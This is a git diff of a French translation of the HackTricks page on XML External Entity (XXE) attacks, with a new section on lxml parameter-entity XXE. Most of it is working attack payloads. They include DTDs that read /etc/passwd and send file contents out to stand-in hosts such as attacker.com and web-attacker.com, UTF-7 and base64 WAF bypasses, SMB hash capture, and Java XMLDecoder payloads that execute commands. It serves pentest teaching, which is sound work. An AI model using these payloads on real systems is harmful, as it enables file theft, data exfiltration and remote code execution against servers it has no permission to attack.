mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to fr
This commit is contained in:
parent
6a114dd215
commit
28dcd94a3c
@ -1,24 +1,29 @@
|
||||
# XXE - XEE - XML External Entity
|
||||
# XXE - XEE - Entité Externe XML
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
- [Dojo CTF Challenge #42 – Récit de l'XXE de la palette de couleurs hexadécimales](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [bug lxml #2107279 – L'XXE avec des entités de paramètre est toujours possible](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## XML Basics
|
||||
## Bases de XML
|
||||
|
||||
XML est un langage de balisage conçu pour le stockage et le transport de données, avec une structure flexible qui permet l'utilisation de balises nommées de manière descriptive. Il diffère de HTML en n'étant pas limité à un ensemble de balises prédéfinies. L'importance de XML a diminué avec l'essor de JSON, malgré son rôle initial dans la technologie AJAX.
|
||||
XML est un langage de balisage conçu pour le stockage et le transport de données, avec une structure flexible qui permet l'utilisation de balises nommées de manière descriptive. Il se distingue de HTML en n'étant pas limité à un ensemble de balises prédéfinies. L'importance de XML a diminué avec l'essor de JSON, malgré son rôle initial dans la technologie AJAX.
|
||||
|
||||
- **Représentation des données par le biais d'entités** : Les entités dans XML permettent la représentation de données, y compris des caractères spéciaux comme `<` et `>`, qui correspondent à `<` et `>` pour éviter les conflits avec le système de balises XML.
|
||||
- **Représentation des données à travers des entités** : Les entités dans XML permettent la représentation de données, y compris des caractères spéciaux comme `<` et `>`, qui correspondent à `<` et `>` pour éviter les conflits avec le système de balises de XML.
|
||||
- **Définition des éléments XML** : XML permet de définir des types d'éléments, décrivant comment les éléments doivent être structurés et quel contenu ils peuvent contenir, allant de tout type de contenu à des éléments enfants spécifiques.
|
||||
- **Définition de type de document (DTD)** : Les DTD sont cruciaux dans XML pour définir la structure du document et les types de données qu'il peut contenir. Ils peuvent être internes, externes ou une combinaison, guidant la façon dont les documents sont formatés et validés.
|
||||
- **Entités personnalisées et externes** : XML prend en charge la création d'entités personnalisées au sein d'une DTD pour une représentation flexible des données. Les entités externes, définies avec une URL, soulèvent des préoccupations de sécurité, en particulier dans le contexte des attaques par entités externes XML (XXE), qui exploitent la manière dont les analyseurs XML gèrent les sources de données externes : `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Détection XXE avec des entités de paramètre** : Pour détecter les vulnérabilités XXE, surtout lorsque les méthodes conventionnelles échouent en raison des mesures de sécurité des analyseurs, des entités de paramètre XML peuvent être utilisées. Ces entités permettent des techniques de détection hors bande, telles que le déclenchement de recherches DNS ou de requêtes HTTP vers un domaine contrôlé, pour confirmer la vulnérabilité.
|
||||
- **Définition de Type de Document (DTD)** : Les DTD sont cruciales dans XML pour définir la structure du document et les types de données qu'il peut contenir. Elles peuvent être internes, externes ou une combinaison, guidant la façon dont les documents sont formatés et validés.
|
||||
- **Entités personnalisées et externes** : XML prend en charge la création d'entités personnalisées au sein d'une DTD pour une représentation flexible des données. Les entités externes, définies avec une URL, soulèvent des préoccupations de sécurité, en particulier dans le contexte des attaques d'Entité Externe XML (XXE), qui exploitent la façon dont les analyseurs XML gèrent les sources de données externes : `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Détection XXE avec des entités de paramètre** : Pour détecter les vulnérabilités XXE, surtout lorsque les méthodes conventionnelles échouent en raison des mesures de sécurité des analyseurs, les entités de paramètre XML peuvent être utilisées. Ces entités permettent des techniques de détection hors bande, telles que le déclenchement de requêtes DNS ou HTTP vers un domaine contrôlé, pour confirmer la vulnérabilité.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
## Main attacks
|
||||
## Principales attaques
|
||||
|
||||
[**La plupart de ces attaques ont été testées en utilisant les incroyables laboratoires XEE de Portswiggers : https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### New Entity test
|
||||
### Test de nouvelle entité
|
||||
|
||||
Dans cette attaque, je vais tester si une simple déclaration de NOUVELLE ENTITÉ fonctionne.
|
||||
```xml
|
||||
@ -110,7 +115,7 @@ Les étapes exécutées par ce DTD incluent :
|
||||
- Une entité de paramètre XML, `%file`, est créée, lisant le contenu du fichier `/etc/hostname`.
|
||||
- Une autre entité de paramètre XML, `%eval`, est définie. Elle déclare dynamiquement une nouvelle entité de paramètre XML, `%exfiltrate`. L'entité `%exfiltrate` est configurée pour effectuer une requête HTTP vers le serveur de l'attaquant, en passant le contenu de l'entité `%file` dans la chaîne de requête de l'URL.
|
||||
2. **Exécution des entités :**
|
||||
- L'entité `%eval` est utilisée, entraînant l'exécution de la déclaration dynamique de l'entité `%exfiltrate`.
|
||||
- L'entité `%eval` est utilisée, conduisant à l'exécution de la déclaration dynamique de l'entité `%exfiltrate`.
|
||||
- L'entité `%exfiltrate` est ensuite utilisée, déclenchant une requête HTTP vers l'URL spécifiée avec le contenu du fichier.
|
||||
|
||||
L'attaquant héberge ce DTD malveillant sur un serveur sous son contrôle, généralement à une URL comme `http://web-attacker.com/malicious.dtd`.
|
||||
@ -148,7 +153,7 @@ _**Veuillez noter que le DTD externe nous permet d'inclure une entité à l'int
|
||||
|
||||
### **Basé sur l'erreur (DTD système)**
|
||||
|
||||
Alors, que dire des vulnérabilités XXE aveugles lorsque **les interactions hors bande sont bloquées** (les connexions externes ne sont pas disponibles) ?
|
||||
Alors que dire des vulnérabilités XXE aveugles lorsque **les interactions hors bande sont bloquées** (les connexions externes ne sont pas disponibles) ?
|
||||
|
||||
Une faille dans la spécification du langage XML peut **exposer des données sensibles à travers des messages d'erreur lorsque le DTD d'un document mélange des déclarations internes et externes**. Ce problème permet la redéfinition interne d'entités déclarées externes, facilitant l'exécution d'attaques XXE basées sur des erreurs. De telles attaques exploitent la redéfinition d'une entité de paramètre XML, initialement déclarée dans un DTD externe, depuis un DTD interne. Lorsque les connexions hors bande sont bloquées par le serveur, les attaquants doivent s'appuyer sur des fichiers DTD locaux pour mener l'attaque, visant à induire une erreur de parsing pour révéler des informations sensibles.
|
||||
|
||||
@ -188,7 +193,7 @@ Les étapes décrites sont exécutées par ce DTD :
|
||||
```
|
||||
.png>)
|
||||
|
||||
Comme cette technique utilise un **DTD interne, vous devez d'abord en trouver un valide**. Vous pouvez le faire en **installant** le même **OS / logiciel** que le serveur utilise et en **cherchant des DTD par défaut**, ou en **récupérant une liste** de **DTDs par défaut** dans les systèmes et en **vérifiant** si l'un d'eux existe :
|
||||
Comme cette technique utilise un **DTD interne, vous devez d'abord en trouver un valide**. Vous pouvez le faire en **installant** le même **OS / logiciel** que celui utilisé par le serveur et en **cherchant quelques DTD par défaut**, ou en **récupérant une liste** de **DTD par défaut** dans les systèmes et en **vérifiant** si l'un d'eux existe :
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -235,13 +240,13 @@ Maintenant, le fichier créé peut être téléchargé sur l'application web pot
|
||||
|
||||
### Jar: protocol
|
||||
|
||||
Le **protocole jar** est accessible exclusivement au sein des **applications Java**. Il est conçu pour permettre l'accès aux fichiers dans une archive **PKZIP** (par exemple, `.zip`, `.jar`, etc.), s'adressant à la fois aux fichiers locaux et distants.
|
||||
Le **protocole jar** est accessible exclusivement au sein des **applications Java**. Il est conçu pour permettre l'accès aux fichiers dans une **archive PKZIP** (par exemple, `.zip`, `.jar`, etc.), s'adressant à la fois aux fichiers locaux et distants.
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Pour pouvoir accéder aux fichiers à l'intérieur des fichiers PKZIP, c'est **super utile pour abuser de XXE via des fichiers DTD système.** Consultez [cette section pour apprendre à abuser des fichiers DTD système](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> Pour pouvoir accéder aux fichiers à l'intérieur des fichiers PKZIP, c'est **super utile pour abuser de XXE via des fichiers DTD système.** Consultez [cette section pour apprendre comment abuser des fichiers DTD système](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
Le processus pour accéder à un fichier dans une archive PKZIP via le protocole jar implique plusieurs étapes :
|
||||
|
||||
@ -304,7 +309,7 @@ et en envoyant la requête suivante
|
||||
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
Puis vous pouvez essayer de craquer le hash en utilisant hashcat
|
||||
Puis vous pouvez essayer de cracker le hash en utilisant hashcat
|
||||
|
||||
## Surfaces XXE Cachées
|
||||
|
||||
@ -322,7 +327,7 @@ Vérifiez [https://portswigger.net/web-security/xxe](https://portswigger.net/web
|
||||
|
||||
Les fichiers téléchargés par les utilisateurs vers certaines applications, qui sont ensuite traités sur le serveur, peuvent exploiter des vulnérabilités dans la manière dont les fichiers XML ou les formats de fichiers contenant XML sont gérés. Des formats de fichiers courants comme les documents bureautiques (DOCX) et les images (SVG) sont basés sur XML.
|
||||
|
||||
Lorsque les utilisateurs **téléchargent des images**, ces images sont traitées ou validées côté serveur. Même pour les applications s'attendant à des formats tels que PNG ou JPEG, la **bibliothèque de traitement d'images du serveur peut également prendre en charge les images SVG**. SVG, étant un format basé sur XML, peut être exploité par des attaquants pour soumettre des images SVG malveillantes, exposant ainsi le serveur à des vulnérabilités XXE (XML External Entity).
|
||||
Lorsque les utilisateurs **téléchargent des images**, ces images sont traitées ou validées côté serveur. Même pour les applications s'attendant à des formats tels que PNG ou JPEG, la **bibliothèque de traitement d'images du serveur peut également prendre en charge les images SVG**. Le SVG, étant un format basé sur XML, peut être exploité par des attaquants pour soumettre des images SVG malveillantes, exposant ainsi le serveur à des vulnérabilités XXE (XML External Entity).
|
||||
|
||||
Un exemple d'un tel exploit est montré ci-dessous, où une image SVG malveillante tente de lire des fichiers système :
|
||||
```xml
|
||||
@ -338,7 +343,7 @@ Dans les deux cas, le format SVG est utilisé pour lancer des attaques qui explo
|
||||
|
||||
Vérifiez [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) pour plus d'infos !
|
||||
|
||||
**Notez que la première ligne du fichier lu ou du résultat de l'exécution apparaîtra DANS l'image créée. Vous devez donc être en mesure d'accéder à l'image que SVG a créée.**
|
||||
**Notez que la première ligne du fichier lu ou du résultat de l'exécution apparaîtra À l'INTÉRIEUR de l'image créée. Vous devez donc être en mesure d'accéder à l'image que SVG a créée.**
|
||||
|
||||
### **PDF - Téléchargement de fichier**
|
||||
|
||||
@ -398,7 +403,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
```
|
||||
Un autre exemple peut être trouvé [ici](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
|
||||
## Bypasses WAF & Protections
|
||||
## Bypasses de WAF et protections
|
||||
|
||||
### Base64
|
||||
```xml
|
||||
@ -420,7 +425,7 @@ Vous pouvez utiliser la \[**"Encode Recipe**" de cyberchef ici ]\(\[[https://gch
|
||||
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
|
||||
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
|
||||
```
|
||||
### File:/ Bypass de protocole
|
||||
### File:/ Contournement de Protocole
|
||||
|
||||
Si le web utilise PHP, au lieu d'utiliser `file:/`, vous pouvez utiliser **php wrappers** `php://filter/convert.base64-encode/resource=` pour **accéder aux fichiers internes**.
|
||||
|
||||
@ -476,7 +481,7 @@ Exemple de DTD :
|
||||
|
||||
Cet exemple est inspiré de [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
|
||||
XLIFF (XML Localization Interchange File Format) est utilisé pour standardiser l'échange de données dans les processus de localisation. C'est un format basé sur XML principalement utilisé pour transférer des données localisables entre des outils pendant la localisation et comme format d'échange commun pour les outils de CAT (Computer-Aided Translation).
|
||||
XLIFF (XML Localization Interchange File Format) est utilisé pour standardiser l'échange de données dans les processus de localisation. C'est un format basé sur XML principalement utilisé pour transférer des données localisables entre des outils lors de la localisation et comme format d'échange commun pour les outils de CAT (Computer-Aided Translation).
|
||||
|
||||
### Analyse de la demande aveugle
|
||||
|
||||
@ -514,7 +519,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Cette approche révèle que l'Agent Utilisateur indique l'utilisation de Java 1.8. Une limitation notée avec cette version de Java est l'incapacité à récupérer des fichiers contenant un caractère de nouvelle ligne, tel que /etc/passwd, en utilisant la technique Out of Band.
|
||||
Cette approche révèle que l'User Agent indique l'utilisation de Java 1.8. Une limitation notable de cette version de Java est l'incapacité à récupérer des fichiers contenant un caractère de nouvelle ligne, tel que /etc/passwd, en utilisant la technique Out of Band.
|
||||
|
||||
Exfiltration de données basée sur les erreurs Pour surmonter cette limitation, une approche basée sur les erreurs est employée. Le fichier DTD est structuré comme suit pour déclencher une erreur qui inclut des données d'un fichier cible :
|
||||
```xml
|
||||
@ -523,7 +528,7 @@ Exfiltration de données basée sur les erreurs Pour surmonter cette limitation,
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Le serveur répond avec une erreur, reflétant de manière importante le fichier non existant, indiquant que le serveur tente d'accéder au fichier spécifié :
|
||||
Le serveur répond avec une erreur, reflétant de manière importante le fichier inexistant, indiquant que le serveur tente d'accéder au fichier spécifié :
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
@ -609,7 +614,7 @@ Utiliser le filtre base64 de PHP
|
||||
```
|
||||
## Java XMLDecoder XEE to RCE
|
||||
|
||||
XMLDecoder est une classe Java qui crée des objets basés sur un message XML. Si un utilisateur malveillant parvient à amener une application à utiliser des données arbitraires dans un appel à la méthode **readObject**, il obtiendra instantanément une exécution de code sur le serveur.
|
||||
XMLDecoder est une classe Java qui crée des objets à partir d'un message XML. Si un utilisateur malveillant parvient à amener une application à utiliser des données arbitraires dans un appel à la méthode **readObject**, il obtiendra instantanément une exécution de code sur le serveur.
|
||||
|
||||
### Using Runtime().exec()
|
||||
```xml
|
||||
@ -673,7 +678,7 @@ XMLDecoder est une classe Java qui crée des objets basés sur un message XML. S
|
||||
```
|
||||
## XXE + WrapWrap + Lightyear + contournements
|
||||
|
||||
Jetez un œil à ce rapport incroyable [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
|
||||
Prenez un moment pour consulter ce rapport incroyable [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
|
||||
|
||||
## Outils
|
||||
|
||||
@ -681,15 +686,73 @@ Jetez un œil à ce rapport incroyable [https://swarm.ptsecurity.com/impossible-
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
### Python lxml Paramètre-Entité XXE (Divulgation de Fichier Basée sur Erreur)
|
||||
|
||||
> [!INFO]
|
||||
> La bibliothèque Python **lxml** utilise **libxml2** en arrière-plan. Les versions antérieures à **lxml 5.4.0 / libxml2 2.13.8** étendent toujours les entités *paramètre* même lorsque `resolve_entities=False`, les rendant accessibles lorsque l'application active `load_dtd=True` et/ou `resolve_entities=True`. Cela permet des charges utiles XXE basées sur des erreurs qui intègrent le contenu de fichiers locaux dans le message d'erreur du parseur.
|
||||
|
||||
#### 1. Exploitation de lxml < 5.4.0
|
||||
1. Identifier ou créer un DTD *local* sur le disque qui définit une entité de paramètre **indéfinie** (par exemple, `%config_hex;`).
|
||||
2. Élaborer un DTD interne qui :
|
||||
* Charge le DTD local avec `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
|
||||
* Redéfinit l'entité indéfinie afin qu'elle :
|
||||
- Lit le fichier cible (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Construit une autre entité de paramètre qui fait référence à un **chemin invalide** contenant la valeur `%flag;` et déclenche une erreur de parseur (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Enfin, étendre `%local_dtd;` et `%eval;` afin que le parseur rencontre `%error;`, échoue à ouvrir `/aaa/<FLAG>` et divulgue le drapeau à l'intérieur de l'exception levée – qui est souvent renvoyée à l'utilisateur par l'application.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
<!ENTITY % config_hex '
|
||||
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
|
||||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
|
||||
%eval;'>
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Lorsque l'application imprime l'exception, la réponse contient :
|
||||
```
|
||||
Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
> [!TIP]
|
||||
> Si le parseur se plaint des caractères `%`/`&` à l'intérieur du sous-ensemble interne, encodez-les deux fois (`&#x25;` ⇒ `%`) pour retarder l'expansion.
|
||||
|
||||
#### 2. Contournement du durcissement de lxml 5.4.0 (libxml2 toujours vulnérable)
|
||||
`lxml` ≥ 5.4.0 interdit les entités de paramètres *error* comme celle ci-dessus, mais **libxml2** permet toujours de les intégrer dans une entité *générale*. Le truc est de :
|
||||
1. Lire le fichier dans une entité de paramètre `%file`.
|
||||
2. Déclarer une autre entité de paramètre qui construit une entité **générale** `c` dont l'identifiant SYSTEM utilise un *protocole inexistant* tel que `meow://%file;`.
|
||||
3. Placer `&c;` dans le corps XML. Lorsque le parseur essaie de déréférencer `meow://…`, il échoue et reflète l'URI complet – y compris le contenu du fichier – dans le message d'erreur.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % a '
|
||||
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
|
||||
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
|
||||
'>
|
||||
%a; %b;
|
||||
]>
|
||||
<colors>&c;</colors>
|
||||
```
|
||||
#### Points clés
|
||||
* Les **entités de paramètre** sont toujours étendues par libxml2 même lorsque `resolve_entities` devrait bloquer XXE.
|
||||
* Une **URI invalide** ou un **fichier inexistant** suffit à concaténer des données contrôlées dans l'exception lancée.
|
||||
* La technique fonctionne **sans connectivité sortante**, ce qui la rend idéale pour des environnements strictement filtrés en sortie.
|
||||
|
||||
#### Conseils de mitigation
|
||||
* Mettez à niveau vers **lxml ≥ 5.4.0** et assurez-vous que le **libxml2** sous-jacent est **≥ 2.13.8**.
|
||||
* Désactivez `load_dtd` et/ou `resolve_entities` sauf si absolument nécessaire.
|
||||
* Évitez de renvoyer des erreurs de parseur brutes au client.
|
||||
|
||||
## Références
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
- Extraire des informations via HTTP en utilisant son propre DTD externe : [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- Extraire des infos via HTTP en utilisant son propre DTD externe : [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user